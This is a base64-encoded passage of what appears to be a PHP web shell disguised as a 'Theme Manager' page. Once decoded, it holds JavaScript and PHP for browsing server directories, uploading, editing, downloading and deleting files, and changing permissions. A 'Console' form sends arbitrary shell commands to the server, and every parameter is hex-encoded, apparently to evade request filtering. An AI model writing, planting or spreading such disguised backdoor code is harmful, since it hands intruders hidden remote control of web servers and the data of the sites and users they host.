Cg1KSx0aDpudGgtY2hpbGQoNiksdGQ6bnRoLWNoaWxkKDYpe2Rpc3BsYXk6bm9uZX0uaWd7ZmxleC1kaXJlY3Rpb246Y29sdW1ufX0KPC9zdHlsZT4KPHNjcmlwdD4KZnVuY3Rpb24gSChzKXtsZXQgaD0nJztmb3IobGV0IGk9MDtpPHMubGVuZ3RoO2krKyl7bGV0IGM9cy5jaGFyQ29kZUF0KGkpLnRvU3RyaW5nKDE2KTtoKz1jLmxlbmd0aDwyPycwJytjOmN9cmV0dXJuIGh9CmZ1bmN0aW9uIEIoYil7Y29uc3QgYT1uZXcgVWludDhBcnJheShiKTtsZXQgaD0nJztmb3IobGV0IGk9MDtpPGEubGVuZ3RoO2krKyloKz1hW2ldLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCcwJyk7cmV0dXJuIGh9CmZ1bmN0aW9uIFUoaCl7dHJ5e2xldCBiPW5ldyBVaW50OEFycmF5KGgubWF0Y2goLy57MSwyfS9nKS5tYXAoeD0+cGFyc2VJbnQoeCwxNikpKTtyZXR1cm4gbmV3IFRleHREZWNvZGVyKCkuZGVjb2RlKGIpfWNhdGNoKGUpe2xldCBzPScnO2ZvcihsZXQgaT0wO2k8aC5sZW5ndGg7aSs9MilzKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGguc3Vic3RyKGksMiksMTYpKTtyZXR1cm4gc319CmZ1bmN0aW9uIFQoKXtjb25zdCBtPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ21ldGFbbmFtZT0idGsiXScpO3JldHVybiBtP20uY29udGVudDonJ30KYXN5bmMgZnVuY3Rpb24gUChwLHN0KXtwLl90PVQoKTt0cnl7Y29uc3Qgcj1hd2FpdCBmZXRjaChsb2NhdGlvbi5ocmVmLHttZXRob2Q6J1BPU1QnLGhlYWRlcnM6eydDb250ZW50LVR5cGUnOidhcHBsaWNhdGlvbi9qc29uJ30sYm9keTpKU09OLnN0cmluZ2lmeShwKX0pO2NvbnN0IHQ9YXdhaXQgci50ZXh0KCk7bGV0IGQ7dHJ5e2Q9SlNPTi5wYXJzZSh0KX1jYXRjaChlKXt0aHJvdyBuZXcgRXJyb3IodHx8J2JhZCByZXNwb25zZScpfWlmKCFyLm9rKXRocm93IG5ldyBFcnJvcihkLm18fCdlcnJvcicpO3JldHVybiBkfWNhdGNoKGUpe2lmKHN0KXtzdC50ZXh0Q29udGVudD0nRXJyb3I6ICcrZS5tZXNzYWdlO3N0LnN0eWxlLmNvbG9yPSd2YXIoLS1lciknfWVsc2UgYWxlcnQoZS5tZXNzYWdlKTt0aHJvdyBlfX0KYXN5bmMgZnVuY3Rpb24gbmF2KGUpe2UucHJldmVudERlZmF1bHQoKTtjb25zdCBwPWUudGFyZ2V0LmVsZW1lbnRzWydncCddLnZhbHVlLnRyaW0oKTtpZighcClyZXR1cm47YXdhaXQgUCh7YWN0aW9uOiduYXYnLHA6SChwKX0pO2xvY2F0aW9uLnJlbG9hZCgpfQphc3luYyBmdW5jdGlvbiB1cGwoYnRuKXtjb25zdCBmaT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndWYnKTtjb25zdCBzdD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXMnKTtpZighZmkuZmlsZXMubGVuZ3RoKXtzdC50ZXh0Q29udGVudD0nTm8gZmlsZSc7c3Quc3R5bGUuY29sb3I9J3ZhcigtLWVyKSc7cmV0dXJufWJ0bi5kaXNhYmxlZD10cnVlO2NvbnN0IGY9ZmkuZmlsZXNbMF07c3QudGV4dENvbnRlbnQ9J1Byb2Nlc3NpbmcuLi4nO3N0LnN0eWxlLmNvbG9yPSd2YXIoLS1hYyknO2NvbnN0IHJkPW5ldyBGaWxlUmVhZGVyKCk7cmQub25sb2FkPWFzeW5jIGZ1bmN0aW9uKGUpe3RyeXthd2FpdCBQKHthY3Rpb246J3VwJyxuOkgoZi5uYW1lKSxkOkIoZS50YXJnZXQucmVzdWx0KX0sc3QpO3N0LnRleHRDb250ZW50PSdEb25lISc7c3Quc3R5bGUuY29sb3I9J3ZhcigtLW9rKSc7c2V0VGltZW91dCgoKT0+bG9jYXRpb24ucmVsb2FkKCksODAwKX1jYXRjaChlKXt9fTtyZC5yZWFkQXNBcnJheUJ1ZmZlcihmKX0KYXN5bmMgZnVuY3Rpb24gbWtmKGUpe2UucHJldmVudERlZmF1bHQoKTtjb25zdCBuPWUudGFyZ2V0LmVsZW1lbnRzWyduZiddLnZhbHVlLnRyaW0oKTtpZighbilyZXR1cm47YXdhaXQgUCh7YWN0aW9uOidta2YnLG46SChuKX0pO2xvY2F0aW9uLnJlbG9hZCgpfQphc3luYyBmdW5jdGlvbiBta2QoZSl7ZS5wcmV2ZW50RGVmYXVsdCgpO2NvbnN0IG49ZS50YXJnZXQuZWxlbWVudHNbJ25kJ10udmFsdWUudHJpbSgpO2lmKCFuKXJldHVybjthd2FpdCBQKHthY3Rpb246J21rZCcsbjpIKG4pfSk7bG9jYXRpb24ucmVsb2FkKCl9CmFzeW5jIGZ1bmN0aW9uIHZ3KG5tKXt0cnl7Y29uc3QgZD1hd2FpdCBQKHthY3Rpb246J2NhdCcsZjpIKG5tKX0pO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd2dCcpLnRleHRDb250ZW50PW5tO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd2YScpLnZhbHVlPVUoZC5jKTtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndmMnKS5zdHlsZS5kaXNwbGF5PSdibG9jayc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VjJykuc3R5bGUuZGlzcGxheT0nbm9uZSc7d2luZG93LnNjcm9sbFRvKHt0b3A6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3ZjJykub2Zmc2V0VG9wLGJlaGF2aW9yOidzbW9vdGgnfSl9Y2F0Y2goZSl7fX0KYXN5bmMgZnVuY3Rpb24gZWQobm0pe3RyeXtjb25zdCBkPWF3YWl0IFAoe2FjdGlvbjonY2F0JyxmOkgobm0pfSk7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VmJykudmFsdWU9bm07ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2V0JykudGV4dENvbnRlbnQ9bm07ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VhJykudmFsdWU9VShkLmMpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlYycpLnN0eWxlLmRpc3BsYXk9J2Jsb2NrJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndmMnKS5zdHlsZS5kaXNwbGF5PSdub25lJzt3aW5kb3cuc2Nyb2xsVG8oe3RvcDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWMnKS5vZmZzZXRUb3AsYmVoYXZpb3I6J3Ntb290aCd9KX1jYXRjaChlKXt9fQphc3luYyBmdW5jdGlvbiBzdihlKXtlLnByZXZlbnREZWZhdWx0KCk7Y29uc3QgZj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWYnKS52YWx1ZTtjb25zdCBjPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlYScpLnZhbHVlO2F3YWl0IFAoe2FjdGlvbjonc2F2JyxmOkgoZiksYzpIKGMpfSk7YWxlcnQoJ1NhdmVkJyk7bG9jYXRpb24ucmVsb2FkKCl9CmZ1bmN0aW9uIHJuaShubSl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JuLScrbm0pLnN0eWxlLmRpc3BsYXk9J25vbmUnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyaS0nK25tKS5zdHlsZS5kaXNwbGF5PSdmbGV4J30KZnVuY3Rpb24gcm5jKG5tKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmktJytubSkuc3R5bGUuZGlzcGxheT0nbm9uZSc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JuLScrbm0pLnN0eWxlLmRpc3BsYXk9J2ZsZXgnfQphc3luYyBmdW5jdGlvbiBybnMobm0pe2NvbnN0IG52PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdydi0nK25tKS52YWx1ZS50cmltKCk7aWYoIW52fHxudj09PW5tKXtybmMobm0pO3JldHVybn1hd2FpdCBQKHthY3Rpb246J3JlbicsbzpIKG5tKSxuOkgobnYpfSk7bG9jYXRpb24ucmVsb2FkKCl9CmFzeW5jIGZ1bmN0aW9uIGRlbChubSl7aWYoIWNvbmZpcm0oJ0RlbGV0ZSAnK25tKyc/JykpcmV0dXJuO2F3YWl0IFAoe2FjdGlvbjonZGVsJyxpOkgobm0pfSk7bG9jYXRpb24ucmVsb2FkKCl9CmFzeW5jIGZ1bmN0aW9uIGRsZihubSl7dHJ5e2NvbnN0IGQ9YXdhaXQgUCh7YWN0aW9uOidkbCcsaXRlbXM6W0gobm0pXX0pO2RsZChkLmQsZC5mbixkLm10KX1jYXRjaChlKXt9fQphc3luYyBmdW5jdGlvbiBiZGwoKXtjb25zdCBjPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2lucHV0W25hbWU9Iml0W10iXTpjaGVja2VkJyk7aWYoIWMubGVuZ3RoKXJldHVybjtjb25zdCBpdGVtcz1BcnJheS5mcm9tKGMpLm1hcCh4PT5IKHgudmFsdWUpKTt0cnl7Y29uc3QgZD1hd2FpdCBQKHthY3Rpb246J2RsJyxpdGVtczppdGVtc30pO2RsZChkLmQsZC5mbixkLm10KX1jYXRjaChlKXt9fQphc3luYyBmdW5jdGlvbiBiZGUoKXtjb25zdCBjPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2lucHV0W25hbWU9Iml0W10iXTpjaGVja2VkJyk7aWYoIWMubGVuZ3RofHwhY29uZmlybSgnRGVsZXRlIHNlbGVjdGVkPycpKXJldHVybjthd2FpdCBQKHthY3Rpb246J2JkZWwnLGl0ZW1zOkFycmF5LmZyb20oYykubWFwKHg9PkgoeC52YWx1ZSkpfSk7bG9jYXRpb24ucmVsb2FkKCl9CmZ1bmN0aW9uIGRsZChoZXgsZm4sbXQpe2xldCBiPW5ldyBVaW50OEFycmF5KGhleC5tYXRjaCgvLnsxLDJ9L2cpLm1hcCh4PT5wYXJzZUludCh4LDE2KSkpO2xldCBibD1uZXcgQmxvYihbYl0se3R5cGU6bXR9KTtsZXQgYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7YS5ocmVmPVVSTC5jcmVhdGVPYmplY3RVUkwoYmwpO2EuZG93bmxvYWQ9Zm47ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTthLmNsaWNrKCk7ZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChhKX0KYXN5bmMgZnVuY3Rpb24geGMoZSl7ZS5wcmV2ZW50RGVmYXVsdCgpO2NvbnN0IGk9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3hpJyk7Y29uc3Qgbz1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgneG8nKTtvLnN0eWxlLmRpc3BsYXk9J2Jsb2NrJztvLnRleHRDb250ZW50PScuLi4nO3RyeXtjb25zdCBkPWF3YWl0IFAoe2FjdGlvbjoneCcscTpIKGkudmFsdWUpfSk7by50ZXh0Q29udGVudD1VKGQucil9Y2F0Y2goZSl7by50ZXh0Q29udGVudD0nRXJyb3I6ICcrZS5tZXNzYWdlfX0KZnVuY3Rpb24gc2EoY2Ipe2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2lucHV0W25hbWU9Iml0W10iXScpLmZvckVhY2goYz0+Yy5jaGVja2VkPWNiLmNoZWNrZWQpO3ViKCl9CmZ1bmN0aW9uIHViKCl7Y29uc3QgYz1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dFtuYW1lPSJpdFtdIl06Y2hlY2tlZCcpO2NvbnN0IGI9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JiJyk7Y29uc3Qgbj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYm4nKTtpZihjLmxlbmd0aD4wKXtiLmNsYXNzTGlzdC5hZGQoJ3NoJyk7bi50ZXh0Q29udGVudD1jLmxlbmd0aCsnIHNlbGVjdGVkJ31lbHNlIGIuY2xhc3NMaXN0LnJlbW92ZSgnc2gnKX0KZnVuY3Rpb24gY20obm0scGlkKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21vZCcpLmNsYXNzTGlzdC5hZGQoJ3NoJyk7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NpJykudmFsdWU9bm07dXBkKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHBpZCkudmFsdWUpfQpmdW5jdGlvbiBjY20oKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21vZCcpLmNsYXNzTGlzdC5yZW1vdmUoJ3NoJyl9CmZ1bmN0aW9uIHVwZChwKXtwPShwfHwnMCcpLnNsaWNlKC0zKTtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY28nKS52YWx1ZT1wO2xldCBibj0ocGFyc2VJbnQocCw4KXx8MCkudG9TdHJpbmcoMik7d2hpbGUoYm4ubGVuZ3RoPDkpYm49JzAnK2JuO1snb3InLCdvdycsJ294JywnZ3InLCdndycsJ2d4JywndHInLCd0dycsJ3R4J10uZm9yRWFjaCgoaWQsaSk9PmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5jaGVja2VkPWJuW2ldPT09JzEnKX0KZnVuY3Rpb24gdWNiKCl7bGV0IGJuPScnO1snb3InLCdvdycsJ294JywnZ3InLCdndycsJ2d4JywndHInLCd0dycsJ3R4J10uZm9yRWFjaChpZD0+Ym4rPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5jaGVja2VkPycxJzonMCcpO2xldCBvPXBhcnNlSW50KGJuLDIpLnRvU3RyaW5nKDgpO3doaWxlKG8ubGVuZ3RoPDMpbz0nMCcrbztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY28nKS52YWx1ZT1vfQphc3luYyBmdW5jdGlvbiBhY20oZSl7ZS5wcmV2ZW50RGVmYXVsdCgpO2F3YWl0IFAoe2FjdGlvbjonY2htJyxpOkgoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NpJykudmFsdWUpLHY6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvJykudmFsdWV9KTtsb2NhdGlvbi5yZWxvYWQoKX0Kd2luZG93Lm9uY2xpY2s9ZnVuY3Rpb24oZSl7aWYoZS50YXJnZXQ9PT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21vZCcpKWNjbSgpfQo8L3NjcmlwdD4KPC9oZWFkPgo8Ym9keT4KPGRpdiBjbGFzcz0iY3QiPgo8ZGl2IGNsYXNzPSJoZCI+PGgxPiYjOTY3MDsgVGhlbWUgTWFuYWdlcjwvaDE+PC9kaXY+Cgo8ZGl2IGNsYXNzPSJjZCI+PGRpdiBjbGFzcz0iY2giPk5hdmlnYXRlPC9kaXY+PGRpdiBjbGFzcz0iY2IiPgo8Zm9ybSBvbnN1Ym1pdD0ibmF2KGV2ZW50KSIgY2xhc3M9ImlnIj4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImdwIiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfZGlyKT8+IiBzdHlsZT0iZmxleDoxIj4KPGJ1dHRvbiBjbGFzcz0iYnQgYnQtcCIgdHlwZT0ic3VibWl0Ij5HbzwvYnV0dG9uPgo8L2Zvcm0+PC9kaXY+PC9kaXY+Cgo8ZGl2IHN0eWxlPSJkaXNwbGF5OmdyaWQ7Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOjFmciAxZnI7Z2FwOjEycHg7bWFyZ2luLWJvdHRvbToxMnB4Ij4KPGRpdiBjbGFzcz0iY2QiPjxkaXYgY2xhc3M9ImNoIj5VcGxvYWQ8L2Rpdj48ZGl2IGNsYXNzPSJjYiI+CjxkaXYgY2xhc3M9ImlnIj48aW5wdXQgdHlwZT0iZmlsZSIgaWQ9InVmIj48YnV0dG9uIGNsYXNzPSJidCBidC1wIiBvbmNsaWNrPSJ1cGwodGhpcykiPlVwbG9hZDwvYnV0dG9uPjwvZGl2Pgo8cCBzdHlsZT0ibWFyZ2luLXRvcDo2cHg7Zm9udC1zaXplOjExcHg7Y29sb3I6dmFyKC0tdG0pIj48c3BhbiBpZD0idXMiPlJlYWR5PC9zcGFuPjwvcD4KPC9kaXY+PC9kaXY+CjxkaXYgY2xhc3M9ImNkIj48ZGl2IGNsYXNzPSJjaCI+Q3JlYXRlPC9kaXY+PGRpdiBjbGFzcz0iY2IiPgo8Zm9ybSBvbnN1Ym1pdD0ibWtmKGV2ZW50KSIgY2xhc3M9ImlnIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmYiIHBsYWNlaG9sZGVyPSJmaWxlbmFtZS5leHQiIHN0eWxlPSJmbGV4OjEiPjxidXR0b24gY2xhc3M9ImJ0IGJ0LXMiIHR5cGU9InN1Ym1pdCI+RmlsZTwvYnV0dG9uPjwvZm9ybT4KPGZvcm0gb25zdWJtaXQ9Im1rZChldmVudCkiIGNsYXNzPSJpZyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5kIiBwbGFjZWhvbGRlcj0iZm9sZGVyX25hbWUiIHN0eWxlPSJmbGV4OjEiPjxidXR0b24gY2xhc3M9ImJ0IGJ0LXMiIHR5cGU9InN1Ym1pdCI+RGlyPC9idXR0b24+PC9mb3JtPgo8L2Rpdj48L2Rpdj48L2Rpdj4KCjxkaXYgY2xhc3M9ImNkIiBpZD0idmMiIHN0eWxlPSJkaXNwbGF5Om5vbmUiPjxkaXYgY2xhc3M9ImNoIj48c3Bhbj5WaWV3OiA8c3BhbiBpZD0idnQiPjwvc3Bhbj48L3NwYW4+PGJ1dHRvbiBjbGFzcz0iYnQgYnQtZyBidC14IiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndmMnKS5zdHlsZS5kaXNwbGF5PSdub25lJyI+Q2xvc2U8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSJjYiI+PHRleHRhcmVhIGlkPSJ2YSIgcmVhZG9ubHk+PC90ZXh0YXJlYT48L2Rpdj48L2Rpdj4KCjxkaXYgY2xhc3M9ImNkIiBpZD0iZWMiIHN0eWxlPSJkaXNwbGF5Om5vbmUiPjxkaXYgY2xhc3M9ImNoIj48c3Bhbj5FZGl0OiA8c3BhbiBpZD0iZXQiPjwvc3Bhbj48L3NwYW4+PC9kaXY+PGRpdiBjbGFzcz0iY2IiPjxmb3JtIG9uc3VibWl0PSJzdihldmVudCkiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJlZiI+PHRleHRhcmVhIGlkPSJlYSI+PC90ZXh0YXJlYT48ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOjEwcHg7ZGlzcGxheTpmbGV4O2dhcDo4cHgiPjxidXR0b24gY2xhc3M9ImJ0IGJ0LXAiIHR5cGU9InN1Ym1pdCI+U2F2ZTwvYnV0dG9uPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnQgYnQtZyIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VjJykuc3R5bGUuZGlzcGxheT0nbm9uZSciPkNhbmNlbDwvYnV0dG9uPjwvZGl2PjwvZm9ybT48L2Rpdj48L2Rpdj4KCjw/cGhwIGlmKCRfaGFzQ21kKTo/Pgo8ZGl2IGNsYXNzPSJjZCIgc3R5bGU9Im1hcmdpbi1ib3R0b206MTJweCI+PGRpdiBjbGFzcz0iY2giPkNvbnNvbGU8L2Rpdj48ZGl2IGNsYXNzPSJjYiI+Cjxmb3JtIG9uc3VibWl0PSJ4YyhldmVudCkiIGNsYXNzPSJpZyI+PGlucHV0IHR5cGU9InRleHQiIGlkPSJ4aSIgcGxhY2Vob2xkZXI9ImNvbW1hbmQiIHN0eWxlPSJmbGV4OjEiPjxidXR0b24gY2xhc3M9ImJ0IGJ0LXMiIHR5cGU9InN1Ym1pdCI+UnVuPC9idXR0b24+PC9mb3JtPgo8ZGl2IGNsYXNzPSJjb24iIGlkPSJ4byI+PC9kaXY+CjwvZGl2PjwvZGl2Pgo8P3BocCBlbmRpZjs/PgoKPGRpdiBjbGFzcz0iYmIiIGlkPSJiYiI+PHNwYW4gY2xhc3M9ImJjIiBpZD0iYm4iPjA8L3NwYW4+CjxidXR0b24gY2xhc3M9ImJ0IGJ0LWcgYnQteCIgb25jbGljaz0iYmRsKCkiPkRvd25sb2FkPC9idXR0b24+CjxidXR0b24gY2xhc3M9ImJ0IGJ0LWQgYnQteCIgb25jbGljaz0iYmRlKCkiPkRlbGV0ZTwvYnV0dG9uPjwvZGl2PgoKPGRpdiBjbGFzcz0iY2QiPjxkaXYgY2xhc3M9ImNoIj48c3Bhbj5GaWxlczwvc3Bhbj4KPGJ1dHRvbiBjbGFzcz0iYnQgYnQtZyBidC14IiBvbmNsaWNrPSJQKHthY3Rpb246J25hdicscDpIKCc8Pz1hZGRzbGFzaGVzKGRpcm5hbWUoJF9kaXIpKT8+Jyl9KS50aGVuKCgpPT5sb2NhdGlvbi5yZWxvYWQoKSkiPiZsYXJyOyBQYXJlbnQ8L2J1dHRvbj48L2Rpdj4KPHRhYmxlPjx0aGVhZD48dHI+Cjx0aCBzdHlsZT0id2lkdGg6MzZweCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJzYSh0aGlzKSI+PC90aD4KPHRoPk5hbWU8L3RoPjx0aCBzdHlsZT0id2lkdGg6ODBweCI+VHlwZTwvdGg+PHRoIHN0eWxlPSJ3aWR0aDo5MHB4O3RleHQtYWxpZ246cmlnaHQiPlNpemU8L3RoPjx0aCBzdHlsZT0id2lkdGg6MTMwcHgiPk1vZGlmaWVkPC90aD48dGggc3R5bGU9IndpZHRoOjc1cHg7dGV4dC1hbGlnbjpjZW50ZXIiPlBlcm08L3RoPjx0aCBzdHlsZT0id2lkdGg6MjAwcHg7dGV4dC1hbGlnbjpyaWdodCI+QWN0aW9uczwvdGg+CjwvdHI+PC90aGVhZD48dGJvZHk+Cjw/cGhwIGZvcmVhY2goJF9hbGwgYXMgJF9pKToKJF9mcD0kX2Rpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRfaTskX3JwPV9ycCgkX2ZwKTsKaWYoJF9ycCE9PWZhbHNlKXskX2lkPUBpc19kaXIoJF9ycCk7JF9jdz1AaXNfd3JpdGFibGUoJF9ycCk7JF9zej0kX2lkPzA6QGZpbGVzaXplKCRfcnApOyRfbXQ9QGZpbGVtdGltZSgkX3JwKTskX3BtPUBzdWJzdHIoc3ByaW50ZignJW8nLEBmaWxlcGVybXMoJF9ycCkpLC00KTt9CmVsc2V7JF9pZD1AaXNfZGlyKCRfZnApOyRfY3c9ZmFsc2U7JF9zej0wOyRfbXQ9MDskX3BtPSc/Pz8/Jzt9CiRfZXh0PXN0cnRvbG93ZXIocGF0aGluZm8oJF9pLFBBVEhJTkZPX0VYVEVOU0lPTikpOwokX2ljPSRfaWQ/J2QnOidmJzsKJF9lbD0kX2V4dD9zdHJ0b3VwcGVyKCRfZXh0KTonJzsKPz4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJpdFtdIiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfaSk/PiIgb25jbGljaz0idWIoKSI+PC90ZD4KPHRkPgo8ZGl2IGlkPSJybi08Pz1odG1sZW50aXRpZXMoJF9pKT8+IiBjbGFzcz0iZm4iPgo8ZGl2IGNsYXNzPSJmaSBmaS08Pz0kX2ljPz4iPjw/PSRfaWQ/JyYjMTI4MTkzOyc6KCRfZWw/JF9lbDonJiMxMjgxOTY7Jyk/PjwvZGl2Pgo8P3BocCBpZigkX2lkKTo/PjxhIGhyZWY9IiMiIGNsYXNzPSJmbCIgb25jbGljaz0iUCh7YWN0aW9uOiduYXYnLHA6SCgnPD89YWRkc2xhc2hlcygkX2ZwKT8+Jyl9KS50aGVuKCgpPT5sb2NhdGlvbi5yZWxvYWQoKSk7cmV0dXJuIGZhbHNlIj48Pz1odG1sZW50aXRpZXMoJF9pKT8+PC9hPgo8P3BocCBlbHNlOj8+PGEgaHJlZj0iIyIgY2xhc3M9ImZsIiBvbmNsaWNrPSJ2dygnPD89YWRkc2xhc2hlcygkX2kpPz4nKTtyZXR1cm4gZmFsc2UiPjw/PWh0bWxlbnRpdGllcygkX2kpPz48L2E+PD9waHAgZW5kaWY7Pz4KPC9kaXY+CjxkaXYgaWQ9InJpLTw/PWh0bWxlbnRpdGllcygkX2kpPz4iIHN0eWxlPSJkaXNwbGF5Om5vbmU7Z2FwOjZweDthbGlnbi1pdGVtczpjZW50ZXIiPgo8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InJ2LTw/PWh0bWxlbnRpdGllcygkX2kpPz4iIHZhbHVlPSI8Pz1odG1sZW50aXRpZXMoJF9pKT8+IiBzdHlsZT0iZmxleDoxIj4KPGJ1dHRvbiBjbGFzcz0iYnQgYnQtcCBidC14IiBvbmNsaWNrPSJybnMoJzw/PWFkZHNsYXNoZXMoJF9pKT8+JykiPk9LPC9idXR0b24+CjxidXR0b24gY2xhc3M9ImJ0IGJ0LWcgYnQteCIgb25jbGljaz0icm5jKCc8Pz1hZGRzbGFzaGVzKCRfaSk/PicpIj5YPC9idXR0b24+CjwvZGl2Pgo8L3RkPgo8dGQ+PHNwYW4gY2xhc3M9ImZtIj48Pz0kX2lkPydEaXInOigkX2VsPzonLScpPz48L3NwYW4+PC90ZD4KPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOnJpZ2h0Ij48c3BhbiBjbGFzcz0iZm0iPjw/PSRfaWQ/JyZtZGFzaDsnOl9mcygkX3N6KT8+PC9zcGFuPjwvdGQ+Cjx0ZD48c3BhbiBjbGFzcz0iZm0iPjw/PSRfbXQ/ZGF0ZSgnWS1tLWQgSDppJywkX210KTonLSc/Pjwvc3Bhbj48L3RkPgo8dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyIj48c3BhbiBjbGFzcz0icG0gPD89JF9jdz8ncHcnOidwcic/PiI+PD89aHRtbGVudGl0aWVzKCRfcG0pPz48L3NwYW4+PGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9InBfPD89bWQ1KCRfaSk/PiIgdmFsdWU9Ijw/PWh0bWxlbnRpdGllcygkX3BtKT8+Ij48L3RkPgo8dGQ+PGRpdiBjbGFzcz0iYWMiPgo8P3BocCBpZighJF9pZCk6Pz48YnV0dG9uIGNsYXNzPSJidCBidC1nIGJ0LXgiIG9uY2xpY2s9ImVkKCc8Pz1hZGRzbGFzaGVzKCRfaSk/PicpIj5FZDwvYnV0dG9uPjw/cGhwIGVuZGlmOz8+CjxidXR0b24gY2xhc3M9ImJ0IGJ0LWcgYnQteCIgb25jbGljaz0icm5pKCc8Pz1hZGRzbGFzaGVzKCRfaSk/PicpIj5SbjwvYnV0dG9uPgo8YnV0dG9uIGNsYXNzPSJidCBidC1nIGJ0LXgiIG9uY2xpY2s9ImNtKCc8Pz1odG1sZW50aXRpZXMoJF9pKT8+JywncF88Pz1tZDUoJF9pKT8+JykiPkNoPC9idXR0b24+CjxidXR0b24gY2xhc3M9ImJ0IGJ0LWcgYnQteCIgb25jbGljaz0iZGxmKCc8Pz1hZGRzbGFzaGVzKCRfaSk/PicpIj5EbDwvYnV0dG9uPgo8YnV0dG9uIGNsYXNzPSJidCBidC1kIGJ0LXgiIG9uY2xpY2s9ImRlbCgnPD89YWRkc2xhc2hlcygkX2kpPz4nKSI+WDwvYnV0dG9uPgo8L2Rpdj48L3RkPgo8L3RyPgo8P3BocCBlbmRmb3JlYWNoOz8+CjwvdGJvZHk+PC90YWJsZT48L2Rpdj48L2Rpdj4KCjxkaXYgY2xhc3M9Im1kIiBpZD0iY21vZCI+PGRpdiBjbGFzcz0ibWMiPjxkaXYgY2xhc3M9Im1oIj48c3Bhbj5DaG1vZDwvc3Bhbj48c3BhbiBjbGFzcz0ibXgiIG9uY2xpY2s9ImNjbSgpIj4mdGltZXM7PC9zcGFuPjwvZGl2Pgo8Zm9ybSBvbnN1Ym1pdD0iYWNtKGV2ZW50KSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImNpIj4KPGRpdiBjbGFzcz0iY2ciPgo8ZGl2IGNsYXNzPSJjZ3IiPjxkaXYgY2xhc3M9ImNnbCI+T3duZXI8L2Rpdj48ZGl2IGNsYXNzPSJjZ2MiPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJvciIgb25jaGFuZ2U9InVjYigpIj5SPC9sYWJlbD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0ib3ciIG9uY2hhbmdlPSJ1Y2IoKSI+VzwvbGFiZWw+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9Im94IiBvbmNoYW5nZT0idWNiKCkiPlg8L2xhYmVsPjwvZGl2PjwvZGl2Pgo8ZGl2IGNsYXNzPSJjZ3IiPjxkaXYgY2xhc3M9ImNnbCI+R3JvdXA8L2Rpdj48ZGl2IGNsYXNzPSJjZ2MiPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJnciIgb25jaGFuZ2U9InVjYigpIj5SPC9s